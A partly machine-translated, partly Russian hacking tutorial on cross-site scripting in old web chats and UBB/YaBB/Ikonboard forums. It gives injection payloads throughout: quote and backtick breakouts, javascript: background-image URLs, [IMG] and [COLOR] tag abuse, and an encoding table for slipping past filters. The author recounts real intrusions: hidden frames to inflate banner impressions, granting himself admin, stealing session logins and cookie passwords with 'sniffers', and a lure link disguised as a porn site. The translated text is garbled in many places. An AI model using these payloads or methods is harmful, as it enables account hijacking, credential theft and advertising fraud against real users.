Hacking chat part 2



  • Part 1
  • Part 2


  • Variations on a theme

    In the previous chapter we considered the case where the color of the pages inserted into the text without limiting quotes. And what to do if the quotes are still there? For example the text in chat as follows:
    Viator - Alpha, hello))
    Alpha - All greetings! !!

    As you can see, the color is inserted into the frame the quotes. This problem is easily solved if the chat does not filter character '. If so, then we can just close the open quotation mark, and then write the script. For example, by setting colors like red 'size = 20' <FONT color = # 00ff00> again we get the effect of a large font. Pay attention to the gap and the apostrophe at the end. They are needed for what would be the closing quotation mark, which inserts itself chat, not destroyed our attributes. As a result, our message will be:

    Shram - Hi

    If the chat does not miss a quote mark that surrounds the setting, then crack the chat through this option will not be possible :( . (Although there may be some things: see the end of this chapter..

    This method is very often (almost always) works for assigning e-mail addresses (in chatlanina parameters or return address in forums, guest books and field). Usually a reference to the soap goes in the forums as follows:

    <b>&lt;a href=mailto:mylo@myla.net&gt; Fyodor Pupkin &lt;/a&gt;</b> (mailto fragment: Gateway inserts itself). Then set as soap value "style = background-image: url (javascript: the Alert ( '! Nu_netu_u_menya_myla'))", we send an alert to any visitor online :) ) (Note that the address of soap, usually filters the input symbols are not installed). True, some forums and chat rooms as it checked the soap, but this check is reduced to demand the presence of the symbol @. If so, please the creators of the forum and draw them to the dog as follows: [email protected] "style = background-image : url (javascript: the Alert ( 'Nu_netu_u_menya_myla!'))".

    Some chat rooms allowed insert your own images, pictures specification addresses. As we already know, where there is the URL, it is possible to insert the script. I will not even chew it. Everything is so clear.

    In the first chapter it was shown how to change the input chat form. In particular it was necessary to change the relative action of the field on an absolute address. However, the structure of the chat can be so complicated that such changes may require a great deal. Change in all cases address uncomfortable (and can be mistaken). Instead, we can recommend the tag <base href = 'http: //typachat.ru/'^gt ; Which is inserted in any place HTML document. At the same time, all the relative addresses will be addressed with respect to the address specified in the tag base (in this case with respect to typachat.ru), regardless of the actual base DNS name.

    You probably know what sniffers? If not, I'll tell you sniffer - a very useful thing, which allows to monitor traffic. In the case of live chat sniffer to determine the IP addresses are chatting, as well as their names and time codes (for a chat with a temporary name). Sometimes, it even allows you to get the admin rights :) ).

    It often happens that the nickname in the chat text appears as a link, when clicked, you can send a private message chatovtsu. Here's how it looks in HTML:

    Alpha - Hello!

    Moderator - Hello!

    In addition to the effect described in the chapter "The Wonders of the symbol =" here is possible insertion of script, works on the click event on the link (if the chat does not filter restricting the quotes - in this case "- and the + symbol). For this purpose, as a nickname, ask the following meanings:. "+ alert ( '! Hello') +" You can insert that realties and more serious (only using the toString () function), for example a nickname "+ toString (open ( '// yahoo.com', '_ top. ')) + "refers the user, tyknuvshego your nickname, a break from vYahoo chat :) ).

    Hacking chat M

    As mentioned in the first chapter, there are two methods of hacking chat. All the above examples relate to the first method - the method of penetration in the tag parameters. Here I want to show the second method of the technology - a method HTML structure violations.

    Color chat messages M asked in numerical form (and therefore has a limit on the length of color - 7 characters), had bizarre filters, but missed a single character '. Here is a fragment of posts in the chat:

    <code>&lt;font class="а1"&gt;22:41:24 &lt;/font&gt; &lt;a href="javascript:parent.parent.sewho(&amp;#39;РТУТЬ&amp;#39;)" onMouseOver="window.status='';return true;" target=kbd&gt;&lt;font color=#0066ff class="ку"&gt;РТУТЬ:&lt;/font&gt;&lt;/a&gt;&lt;font color=#FF0000 class="уц"&gt;ПЛУГиПРЕЙ:КОРОШО!&lt;/font&gt;&lt;br&gt;&lt;br&gt;&lt;SCRIPT&gt;top.do_scrolldown();&lt;/SCRIPT&gt;&lt;br&gt;&lt;font class="а1"&gt;22:41:25 &lt;/font&gt; &lt;a href="javascript:parent.parent.sewho(&amp;#39;Весь_в_сертах&amp;#39;)" onMouseOver="window.status='';return true;" target=kbd&gt;&lt;font color=#0000FF class="ку"&gt;Весь_в_сертах:&lt;/font&gt;&lt;/a&gt;&lt;font color=#0000FF class="уц"&gt;Денис_Семенов: ПРАВИЛЬНЕЙ БУДЕТ ВСЕ&lt;/font&gt;&lt;br&gt;&lt;br&gt;&lt;SCRIPT&gt;top.do_scrolldown();&lt;/SCRIPT&gt;</code>

    As you can see color indicates no framing quotes. Hacking technology is simple: Login at an arbitrary nickname, and color. ' Then, entering the chat, a message such as' style = background-image: url (javascript: alert ( 'Hello_people !!')). Note the space at the end - it is mandatory. Our message is as follows:

    <code>&lt;font class="а1"&gt;22:41:24 &lt;/font&gt; &lt;a href=javascript:parent.parent.sewho(&amp;#39;Algol&amp;#39;) onMouseOver="window.status='';return true;" target=kbd&gt;&lt;font color=#0066ff class="ку"&gt;Algol:&lt;/font&gt;&lt;/a&gt;&lt;font color=' class="уц"&gt;' style="background-image:url(javascript:alert('Hello_people!!'))&lt;/font"&gt;&lt;br&gt;&lt;br&gt;&lt;SCRIPT&gt;top.do_scrolldown();&lt;/SCRIPT&gt;</code>

    It turns out that part of the HTML code - class = "Ku"> - was in single quotes, and is seen by the browser as a string-value color. In this line and gets the tag closing angle bracket, so our message is in the tag! Part of the code running immediately after our report not understood by the browser and is ignored (and this part must be separated by a space from our style option, otherwise the setting as a whole will be considered a mistake), but after walking a closing angle bracket is considered to tag font. Everything is very simple.

    A bit of a backslash

    In lines a constant JavaScript has a special control character. This is a backslash \. One of his assignments include going after him quote character is considered to be a symbol, not a stop line. For example:

    &lt;Script&gt; alert ( 'It \' s') &lt;/ script&gt; - Does not issue an error message, because the apostrophe in combination with \ in the middle of the line is not considered to end of the line. While &lt;Script&gt; alert ( 'It's') &lt;/ script&gt; displays an error message.

    As he \ character is a control (and therefore does not appear directly in the line), then the display itself, there \\ combination. That this combination appears as a symbol \.

    What does this all has to do with hacking chat? But what: some chats do not put a filter on the quotation marks "(or ') in the nickname box, and replace them on a combination of the type \" (or \'), believing that in this case, the quotes will be displayed but can not act as guides, and therefore can not destroy the structure of HTML. This short-sighted developers lose sight of the fact that the user can use the \ character to block theirs character \. For example, a fragment of the chat for user messages with the nickname Sh "ram as follows:

    <code>&lt;a href=javascript:msgto(&amp;quot;Al\&amp;quot;gol&amp;quot;)&gt;Sh"ram&lt;a&gt;</code>

    In this case, quote in their names does not violate the tag structure. But if we change the nickname on Al \ "gol, then inserting a slash before the chat will quote the following HTML:

    <code>&lt;a href=javascript:msgto(&amp;quot;Al\\&amp;quot;gol&amp;quot;)&gt;Sh\"ram&lt;/a&gt;</code> At the same time our blocks chat slash slash and quote nick destroys the structure of HTML! This is evident if tyknut on the link in the example.

    This effect can be used to break chats by breaking HTML structure. We note that in some cases, the same method can be used to block the limiting quotes by inserting the end of the nick backslash.

    Recently, I noticed another hole associated with the misuse of the symbol \ programmers chats. Suppose, for example, the user's nickname is inserted into the body in the form of chat

    <code>&lt;a href=javascript:msgto(&amp;quot;Algol&amp;quot;)&gt;Algol&lt;/a&gt;</code> If we change to svoynik Al'gol, the chat will take such a nickname, but will replace Al \ 'gol, naively believing that by inserting a backslash, they will protect the tag from damage. In fact it is not so :) . When you insert such a nick in the body of the chat, it would look like this:
    &lt;a href=javascript:msgto(&amp;quot;Al\ gol")'&gt; Al'gol &lt;/a&gt; .
    At the same time the explorer will display an error message when you try to tyknut nickname. The reason is this: the sign \ is meaningful only within string constants dzhavaskripte, but not HTML! Himself HTML \ character does not understand, and therefore said first found an apostrophe end of the href attribute, despite the fact that is a \ before. Thus, for example, a nickname Algol '= destroy the tag structure, despite the fact that before the apostrophe inserted backslash

    Hacking at http

    As already mentioned, the chat server can track referer HTTP request field, and not to start the chat, if this field is different from the right. In order to circumvent this pripyatstvy need to catch a header of an HTTP request, the server sends a chat (with the help of special programs, such as Naviscope) and write a special programku, which sends requests to the server. At the same time the contents of the request (naprmer color value fields) can be set arbitrarily.

    I will not dwell on this in detail. This goes beyond the breaking HTML.

    Let me just note that it is possible to do more tricky than usual means HTML or JavaScript at the HTTP level. In any case, I recommend to view the HTTP request headers when using chat. They will help you to understand in more detail in the chat.

    Miracles with the symbol =

    Do you think that will be displayed in the browser for a line of HTML:

    &lt;Font onclick = alert ( '=')&gt; Text &lt;/ font&gt; ? I bet you guess right (unless of course you do not work at Microsoft and did not develop MSIE). The result is so specific that I could not make an example of which would be his demonstrated . But you can take a word that will be displayed in the browser window: &lt;Fontonclick = alert ( '=')&gt; Text As you can see, the opening tag in this case is quite simply not perceived as a tag browser, though no syntax errors :) ). And what will happen if we write Text

    Oddly enough, in this case, everything will be fine, although there was a syntax error. If we click on the text will pop up an alert =. Try to move the apostrophe for the third chevron, or text:

    &lt;Font onclick = alert ( '=')&gt; Text '&lt;/ font&gt; We get the same surprising result.

    Unfortunately I do not have the source code or the detailed documentation for MSIE, but I think that in this case there is an obvious error in MSIE. Probably browser analyzes the code in two stages. At the first stage it allocates tags, attributes, and text that is between them, and on the second it analyzes the JavaScript tags, the contents of the parameters (it is only about the attributes that allow the value of script, such as href or onclick). In the primary analysis of the browser for some reason thinks combination = 'beginning of the line, despite the fact that the symbol = nahodtsya already in line! Then, taking = 'for the start of the line, the program searches for the end (while completely forgetting about the fact that one more line is open and not closed). Thus, all that follows = '(a = ") and up to the next character' is ignored and considered a line! Therefore, in the first example, the browser did not accept the tag: he could not find a closing angle bracket, because it was (as it were) within a string. But even more surprising is that in the second stage analysis the tag parameters, the browser takes everything correctly (this can be satisfied by clicking on the words Text in the second example), and takes the line where it is necessary, and finds a closing angle bracket is also where necessary. This leads to that fragment of a third example of the text is not displayed in plain text (because as it is not tag body), but not a paramatrom tag (as at the stage of analysis of the parameters to the compiler it just does not come)! Flame hi Bill!

    Using this browser error I was able to comment out part of the IM code, just simply are logged under the name = :) ). Here's a snippet of code that displays a list of those present in the chat:

    <code>&lt;a href=javascript:parent.window.messageFor("=")&gt;=&lt;/a&gt;&lt;br&gt;&lt;br&gt;&lt;a href="javascript:parent.window.messageFor(&amp;quot;Модератор&amp;quot;)"&gt;Модератор&lt;/a&gt;&lt;br&gt;</code>

    At the same time my nickname in the list simply is not displayed because the fragment between the quotes

    )&gt; = &lt;/a&gt; A href = javascript: parent.window.messageFor ( I was out of the body tag: -}. But when you click on Moderator, parent.window.messageFor function was called with the parameter =. Similar "effects" were displayed at my chat messages.

    Great (or sad - looking for someone) that this bug goes almost everywhere where you can at least enter the thread Th (at least for MSIE 5.50.4134.0600), and you do not even need to change anything in the way. And the bad thing is that by this is difficult to achieve substantial benefits (such as running a script).

    In conclusion, we note that a similar effect and has the symbol>, which is perceived as the end of the tag, despite the fact that it is inside the line. Fragment

    &lt;Font onclick = alert ( '&gt;')&gt; Text &lt;/ font&gt; interpreted by the browser as an error, and it gives a bad word that is not closed string constant.

    Two hacking chat T

    Chat T missed the following characters in the color field:

    ' ` = ;

    When you insert a color in the chat room, framing the quotes were not. Fragment chat messages (by the way the author chat apparently did not consider it necessary to cover the tags)), although we hope that this is done for performance reasons):

    <code>&lt;FONT COLOR=008000&gt;&lt;a href=javascript:parent.window.Mtm(&amp;#39;22:18:18&amp;#39;)&gt;22:18:18&lt;/a&gt;- &lt;a href=javascript:parent.window.mfor(&amp;#39;BalamUY&amp;#39;)&gt;BalamUY&lt;/a&gt; : вошел в комнату &lt;FONT COLOR=green&gt;&lt;a href=javascript:parent.window.Mtm(&amp;#39;22:18:03&amp;#39;)&gt;22:18:03&lt;/a&gt; - &lt;a href=javascript:parent.window.mfor(&amp;#39;Fialka&amp;#39;)&gt;Fialka&lt;/a&gt; : Sponsor&gt; Если интересная, то ниче.</code>

    Confused by what the gap is not passed by the filter. However, after some thought, I found the following solution - the color itself, I took in single quotation marks, and then color no space inserted parameter style: 'red'style = background-image : url (javascript: while ( 1 == 1) open ( )). As mentioned in the second chapter separation space in this case is not required :) ).

    Incidentally, in this chat was full of frames, including hidden and were empty - probably thought for any future expansion. But while the admins thought about extensions, I found them more useful application. I was hanging in the chat for a long time - a few months. And not just hanging: in one of the hidden frames I shoved my saytik. And saytik were banners banner network. So Makar, I clocked myself about a hundred thousand banneropokazov and my site jumped to 5-6 places in the ranking of 100 hits Rambler Top (in the group). Unfortunately, the banner network compared the ratio of hits / hosts and realized that she cheated. It turned out that the same visitor comes to my site 50 times a day. My account is blocked. So probably still there hanging, restless :) ).

    But let us return to our sheep. After some time, the administration replaced the chat cgi-shku. I do not know what "improvements" were made in the second edition, but I only noticed one change: now the long-value line of color was limited, and was about 10 characters (incidentally this limitation is in many chat rooms, even though I do not understand what is the meaning ? Is not it easier to put filters on the input characters? Although it is possible in this way they are protected against buffer overflows?). In such a situation, of course the old method no longer worked. Cram into 10 characters can not be a decent script (there's not style itself is not placed). I realized that you can only break through a nick or the second method - destroying strkturu HTML. A few hours later I tried it this way and that. In addition to cheap nick extinction effect (chapter "The Wonders of the symbol =") nothing happened. Breaking the personal structure did not allow for the following reason: inserting instead of the color symbol 'I opened the line, but it was closed by an apostrophe which was in reference to the time (here chat just got lucky - it was not intended as a protective measure, although many chats inserted specifically for the dummy tag type) < ' "'!>:

    <code>&lt;FONT COLOR="&gt;&lt;a href=javascript:parent.window.Mtm(" 22:18:18')&gt;22:18:18&lt;/a&gt; - &lt;a href=javascript:parent.window.mfor(&amp;#39;Algol&amp;#39;)&gt;Algol&lt;/a&gt; Привет!</code>

    That is only a fragment komentirovat <a href = javascript:. Parent.window.Mtm ( And all I got is the removal of the tag references to the time if it were possible to insert instead odnarnyh quotes, double, the problem would not be, because in the chat. double quotes are not used. But the character "does not pass filters. Sunset under the name of type Algol = also did not give because the characters after 'Algol =')> ignored and not considered tag parameters. worked course another option is described later in this chapter," Variations on a theme ", but these scripts work only when you click on my nickname link :( (. I was ready to admit that the entire chat hack can not. And then at the last moment, digging and experimenting in the depths of the HTML, I discovered that the symbol of the reverse apostrophe is also a limitation of rows in the HTML!!! And this character pass filter! Without thinking I logged with the nickname Algol and color `and then as chat messages sent to the following line:.` style = background-image : url (javascript: alert ( '! Pobeda_budet_za_nami')). My message in the body of the chat was as follows:

    <code>&lt;FONT COLOR="`"&gt;&lt;a href=javascript:parent.window.Mtm(&amp;#39;22:18:18&amp;#39;)&gt;22:18:18&lt;/a&gt; - &lt;a href=javascript:parent.window.mfor(&amp;#39;Algol&amp;#39;)&gt;Algol&lt;/a&gt;`style=background-image:url(javascript:alert('Победа_будет_за_нами!'))</code>

    This fragment <a href=javascript:parent.window.Mtm('22:18:18')> 22:18:18 </a> - <a href = javascript: parent.window.mfor ( 'Algol') > Algol </a> komentirovat completely and was considered like the color, style and the parameter is inside the tag! The script worked :) ).

    So that T IM programmers have to develop a new version of their offspring. It remains to interpretation surprised how many loopholes they leave, and how slow their fix. They say the whole thing in psychology: the developers protective systems can not put yourself in the burglar, and are judged on the system, for its part, instead of what would have to look at it from the outside.

    "Interception", "fraud" and obtaining rights.

    Consider methods of seizure of foreign communications (privates) and send messages on behalf of other chatovtsev. There are different methods of interceptions, intended for different types of chat rooms. If the chat is completely compromised the operation "fraud" (ie, insert remarks on behalf of other chatovtsev) is not difficult: it is necessary only to send the victim in private script that will write some text in a replica of a string, and then press the button "send". Similar Containers can be pulled and privat user. However, these methods are too coarse, primitive and difficult to use. More advanced techniques such interception, in which he takes you chat to another user.

    When creating HTML-chat, the main problem is that the HTTP protocol, in principle, does not support persistent connections. This means that every time you want to send a message or a replica, a chat program must "know" you realize that you are you. If she did not recognize users, it would not be able to send you your privates, and would not be able to write your message on your behalf. To identify the participants, chat using different methods. The most commonly used method of IP-addresses and dynamic method names. The first method is based on the fact that one and the same user the same IP address during a communication session. I will not dwell on this method, except to say that this method has drawbacks. In particular, it may not work if the user uses a corporate proxy server, or if it has opened several windows with chat. dynamic method names - Recently, another method is frequently used. The method consists in the fact that at each entry to the user in the chat, it is automatically assigned a temporary unique login. This login page avtomatticheski registers in which the gateway sends the user. Each time the user sends a form of replica or requests messages from the chat page it sends to the server a temporary login name under which the server itself and identifies the user. Temporary login system generates random and two different user can not have the same username. Login may consist of several parts. Most often it is the serial number of the user in the session, and sgenererirovanny randomly passvord. Since the login ID "sewn up" in the Kurchatov page for each user, the system knows exactly how she communicates by the user, regardless of their IP address, proxy servers, the number of open windows with chat, etc.

    It is clear that if we know the user's login, we would not be difficult, "lick" for the user, just simply correcting his page in the login at the login name. Then we have the system adopted for it ... turns out it can be done easily if hacked chat, and we are able to insert your picture in the chat. Then, if the image to use sniffer (see "Variations on a Theme"), we can get a temporary logins all participants in the chat! And if we are interested in someone's specific login, you need to send him a sniffer in private. I note the following: the intercepted login is only valid as long as the user is in a chat if logout (and will go down again), then it will be a new temporary login.

    Clearly, if the intercept temporary administrator login, you will be transferred to us automatically and his rights - such as the ability to direct the insertion of tags in the message (ie no filter on the <and>), or the possibility of removal from the chat, or get information about the user etc.

    Third hacking chat T

    So let us return to the long-suffering chat T. Not so long ago Chat T completely switched to the new kernel. Now the game has changed. First, the color field was missing almost all (up to the signs <and>), and I can not hack it sotavilo labor. But this hole patched soon (not without my participation). The new version of the color of the chat was missing only numbers and letters. Breaking through the color has become impossible. This forced to seek more izoscherennye methods. In fact, the only thing left - this nickname. From my own experience I know that in a chat nickname hack is quite difficult because the developers rather carefully selected filters to nick. However chatting exaggerated "chip" that "the character set for nickname significantly expanded." It came as a kind of advertising. A little tinker with filters at the nick, I discovered that passed the following characters:

    ' ` = ; \

    Symbol "was passed, however, before him chat automatically inserted character \. The mechanisms associated with the combination described in the chapter" A bit of a backslash \ ". However, the effects described in this chapter did not give the desired result, and were difficult to use. I was looking for another decision. And I found it!

    Let's look at a fragment of posts in the chat:

    <code>&lt;a href='javascript:top.msgto("Algol")'&gt;Algol&lt;/a&gt;&lt;font&gt; Всем приветик &lt;/font&gt;&lt;a href='javascript:top.msgto("Стелла")'&gt;Стелла&lt;/a&gt;&lt;font&gt; Привет &lt;/font&gt;</code>

    As you can see, the nickname was given as a link, clicking on which causes a certain function. Handler link href is enclosed in single quotes, and the nickname was in double quotes. Since the double quote actually do not miss the live chat within the meaning of the nickname, that go beyond the argument of the function as it was impossible. Nick type = 'did not work, because the handler has been enclosed in single quotation marks, and have been shown in the "Miracles of the symbol =" effect with the = sign did not work. And then I read his own story, and found the following: if the handler is enclosed in quotation marks, the first as a closing quotation mark is considered to be the end of the processor, despite the fact that she herself is inside other quotes (and comes as a string constant). Those. например при компиляции следующего тега:

    &lt;a href='javascript:msgto("Mc'Donald")'&gt; браузер игнорирует двойные кавычки (поскольку они относятся не к HTML а к JavaScript), и воспринимает апостроф после Mc как закрывающую кавычку обработчика. Thus обработчиком является только javascript:msgto("Mc . Фактически это означало взлом чата. Однако нужно было довести баг чата до нужной "кондиции". Это тоже оказалось непросто. Можно было конечно логиниться под ником типа 'onmouseover=`alert('Hello')` . Но во-первых чат не пропускал слишком длинных ников, а во-вторых в чате полно модераторов, и понятное дело они бы заметили "необычный" ник. Поэтому я решил ломать методом разрушения структуры. После некоторых раздумий я нашел подходящий ник: `='A'=` . Посмотрим как в таком случае сообщения в чате: <code>&lt;ahref='javascript:top.msgto("`='A'=`")'&gt;`='A'=`&lt;/a&gt;&lt;font&gt;` style=background-image:url(javascript:alert()) &lt;/font&gt;&lt;a href='javascript:top.msgto("Стелла")'&gt;Стелла&lt;/a&gt;&lt;/em&gt;</code>

    Fragment

    ` style=background-image:url(javascript:alert()) был послан как сообщение в общак. Разберем как браузер компилирует приведенный пример: обработчиком href является 'javascript:top.msgto("`=' . Поскольку обработчик заключен в кавычки, то пробел перед следующим атрибутом тега не требуется. Как таковым и воспринимается A' , а его значением `")'>` . Поскольку значение тега заключено в кавычки, то пробел опять не требуется и дальнейший знак = опять рассматривается как значение некоего атрибута тега: 'A' , как и последующий фрагмент ` ` . Далее следует уже атрибут style=... который оказался внутри тега! Вот так-то :) ).

    Еще несколько взломов многострадального чата T

    Как видно из предыдущей главы, в чате Т свободно можно было втиснуть скрипты, и естественно, что я творил там что хотел (вплоть до того, что назначал себя админом 255 уровня :) . Это конечно сильно не нравилось разработчику чата (с которым я кстати активно общался), и он как бы "пофиксил" баг следующим способом: в сообщениях чатлан он заменял слово script на script , где латинские буквы с и p были заменены на такие же, но из русской раскладки, и естественно, HTML не понимал их. В результате комбинация типа ` style=background-image:url(javascript:alert('Победа_будет_за_нами!')) не работала. Несмотря на то, что по прежнему можно было сниферить чат и ставить обработчики на события типа onmouseover (где префикс javascript: не обязателен, поскольку он по умолчанию считается языком обработчиков событий), но невозможность вставить скрипт, который бы сам запускался меня не устраивала. И тут меня снова выручила многоступенчатая система трансляции HTML. Как уже было замечено, при компиляции HTML в первую очередь компилирует теги и их параметры, а лишь затем компилируется содержимое обработчиков. А теперь вспомним, что каждый символ помимо "обычного" представления имеет закодированное представление (типа ½ или ½ ), которое превращается в обычный символ, при трансляции HTML. Возникает вопрос: на какой именно стадии трансляции происходит раскодировка кода в символ? Несложные эксперименты показывают, что последовательность такова:

    Компиляция HTML > Раскодировка символов > Компиляция обработчиков

    А посему, содержимое обработчиков можно не стеняясь посылать в закодированном виде, при этом фильтры чата его пропускают, а HTML уже на этапе трансляции превращает их в нормальный вид и исполняет! Проверте сами на таком примере (обработчик alert() заменен кодовой комбинацией):

    <code>&lt;font onclick=alert()&gt;Click me&lt;/font&gt;</code>

    Таким образом послав комбинацию

    ` style=background-image:url(javascript:alert('Победа_будет_за_нами!')) на экране чатовцев послушно появился алерт :) .

    Замечу две особенности : 1. Содержимое тега

    &lt;Script&gt; нельзя посылать в закодированном виде, его содержимое не раскодируется HTML-ом; 2. Знак = после имени параметра тега и кавычки, ограничивающие обработчики, транслируются до раскодировки, и поэтому их посылать в закодированном виде нельзя (а жаль :{ ).

    Описанная особенность HTML значительно расширяет множество "крякаемых" чатов. Ведь достаточно что бы чат пропускал в поле ника символы & и ; , а в теле чата ник фигурировал в каком нибудь обработчике (типа href="javascript:msg('ник')" ), и в результате, залогинившись под ником '+alert()+' (который после компиляции будет выглядеть как '+alert()+' ), мы получаем скрипт срабатывающий при нажатии на ник.

    But that's not all. Оказывается джаваскриптовский обработчик в параметре href можно писать и в юникоде! Вместо ника '+alert()+' можно логинится под '%2Balert()%2B' , результат будет тот же :) . Однако раскодировка юникода проходит только в обработчиках href (или в других, где должен присутствовать адрес). В других обработчиках (например onclick ) раскодировка юникода не происходит.

    Спустя некоторое время, админ запретил символ обратного апострофа в именах юзеров, и ник `='A'=` больше не проходил. Немного подумав, я нашел другой ник, который фактически делал то же самое: Don't= . Принцип его работы я думаю вы поймете сами (если вы читали предыдущие главы).

    Взлом UBB / YABB / IB форумов

    1. Через UBB тег [IMG] . В UBB/YABB форумах можно вставлять картинки, указав URL адрес в UBB теге [IMG]. Например: [IMG]http://myserver.ru/logo.gif[/IMG] такой тег вставляет в сообщение картинку с адресом http://myserver.ru/logo.gif . При этом ничего не мешает вставить например такой тег [IMG]javascript:alert()[/IMG]. Как вы догадываетесь, такой адрес будет выдавать каждому кто посмотрит на ваше сообщение алерт вместо картинки. Правда некоторые версии UBB требуют что бы указанный адрес указывал на файл с расширениями gif или jpg , но эта проблема легко решаема. Просто ставим в конце точку с запятой и имя файла картинки : [IMG]javascript:alert();a.jpg[/IMG] . Конечно это повлечет ошибку джава скрипта, но нам уже все равно, поскольку первая часть скрипта сработает :) . Есть еще одна дыра в теге IMG: в некоторых версиях этот тег пропускает кавычку, как результат работает следующий пример:

    [IMG]"s=`s.jpg[/IMG]`style="background-image:url('javascript:alert()')" . Результат- тот же самый что и в первом примере.

    Приведенный глюк работает как в UBB так и в YABB форумах. Учитывая еще тот факт, что UBB форум хранит пароль и логин пользователя в кукисах, которые читаются страничкой форума, и хранятся в переменных, то запустив в тело чата сниффер, мы можем легко выковырять пароли и логины всякого пользователя, который посмотрит на наш мессаг :) ).

    2. Как уже отмечалось, UBB форум хранит логин, ник и пароль пользователя в кукисах. Оказывается, что в некоторых случаях UBB форум берет ник пользователя не из своей БД, а из кукиса пользователя, при этом проверки ника на теги и любые символы не происходит! Таким образом, если в отсылаемом на сервер мессаге подделать кукис, и вставить вместо ника тег скрипта, то форум спокойно вставит этот тег в тело форума! Правда разработчики перемудрили, и в некоторых частях форума вставляются ники из БД, а в некоторых - из кукисов. Мне известны три случая, когда ник берется из кукиса: 1. На главной странице форума (там где пишется кто автор последнего сообщения в такой-то теме) 2. При ответе на реплику "с цитированием" - во фразе цитирования. 3. При редактировании сообщения (во фразе "отредактированно тем-то"). Отмечу, что 3.06.2002 фирма UBB выпустила патч на дырку в кукисах (не без моего скромного участия). Однако, несмотря на это, большинство форумов по прежнему используют старые версии :) ).

    3. А вот еще одна дырка в форумах http://www.ikonboard.com: помимо того, что там срабатывает дырка связанная с тегом [IMG] , там есть еще и дырка в теге [COLOR] . Например посылая в форум такое сообщение

    [color=red;background-image:url('javascript:alert()')]Привет[/color] на экран каждого кто просмотрит ваше сообщение выскочет алерт. Суть дыры думаю не стоит объяснять: понятно и так.

    sundries

    Система безопасности аля микрософт подразумевает невозможность доступа с загруженной HTML странички к любой информации на машине, в том числе и к другим страничкам, открытым в данный момент. Однако эта система имеет некоторые странности в работе. Так, например, метод window.open("http://ya.ru", "privat") джаваскрипта должен открывать новое окно с именем "privat" и загружать в него сайт ya.ru. Это так и происходит если... окно с таким именем еще не открыто. Если же одноименное окно или фрейм уже открыт, то сайт загружается в уже открытое окно (или фрейм). А прикол заключатеся в том, что это окно может не иметь никакого отношения к нашему скрипту, и вообще принадлежать другому сайту )). Убедитесь сами: Откройте в новом окне ссылку: http://chat.bigmir.net и зайдите в чат. А потом кликнете здесь: тыц , после чего посмотрите на свой приват в чате :) ). Красиво ?

    В некоторых чатах существет автоматическая вставка ссылок. А ведь можно послать и ссылку на сниффер :) . Типа вы посылаете сообщение Друг Билли (Вилли/Джони/Джимми)! Посмотри какой классный порносайт я откопал http://fig.vam.com/cgi-bin/girl.cgi , а в общак вставляется

    Друг Билли (Вилли/Джони/Джимми)! Посмотри какой классный порносайт я откопал &amp;lt;a href=http://fig.vam.com/cgi-bin/girl.cgi target=_blank&gt;http://fig.vam.com/cgi-bin/girl.cgi После чего ваш друг смело тыкает в ссылку и ничего не увидев, советует вам выпить рассольчика, на что вы виновато каетесь Ой, Билли (Вилли/Джони/Джимми), я ошибся :( , держа в руках IP адрес , номер сессии или пароль с логином вашегособеседника :) .

    А вот еще один фокус на грани фантастики. Этот фокус я услышал от одного из админов чата. Правда сам его не проверял, но полагаю что это вполне может работать. Как вы наверное видели, во многих чатах есть счетчики посетителей. Всякие там Spy или top100 . А ведь счетчик автоматически фиксирует множество параметров посетителей, в том числе IP адреса, парамтеры среды окружения, поле referer и т.д., то есть фактически является сниффером. А статистика счетчика может быть открыта для всех... Улавливаете :)

    Хочу еще раз остановится на взломе чатов через цвет. Некоторые чаты пропускают любые символы в поле цвета, однако при вставке в тело чата, перед введенным значением цвета, вставляют символ # . Например если пользователь задал цвет aaff00 , то в тело чата этот цвет вставится в виде <font color=#aaff00> . В силу особенностей атрибута color, выяснилось следующее: если впереди цвета автоматом встявляется символ # , то чат ломается только если поле цвета пропускает пробел. Если же цвет пропускает любые символы, но не пробел, то взломать чат нельзя (можно только вызвать глюки например тегом <xml> задаваемым вместо цвета). Не буду объяснять почему это происходит, просто примите это на веру :) .

    В предыдущих главах уже упоминалось про метод вставки скриптов через background-image:url(javascript:...) . Эту запись можно сократить до background:url(javascript:...) . Результат тот же самый. Часто в чатах или форумах стоят фильтрв на ключевые слова типа javascript. Это можно обходить следующим образом: background:url(VBScriptt:alert()) or background:expression(alert())
    Табличка часто применяемых кодов:
    Символ Десятичная кодировка 16th encoding * Символьная кодировка Unicode
    " " " " "
    ' ' '   '
    ` ` `   `
    <пробел>   +
    = = =   %3D
    < < < < %3C
    > > > > %3E
    \ \ \   %5C
    % % %   %
    + + +   %2B
    <короткий дефис> ­ ­ ­ %AD
    & & & & &

    *-в некоторых случаях (если символ стоит в конце строки) точку с запятой можно опустить.

    Liked? Subscribe to RSS news!
    You can also support shram.kiev.ua, click:

    Do not be amiss to your friends and find out this information, share with them the article!

    Expand / Collapse box with comments

    Comments

    Commenting, keep in mind that the content and the tone of your messages can hurt the feelings of real people, show respect and tolerance to his interlocutors, even if you do not share their opinion, your behavior in terms of freedom of speech and anonymity offered by the Internet, is changing not only virtual, but real world. All comments are hidden from the index, spam control.
    Free Credit Card with a limit of 15,000 USD.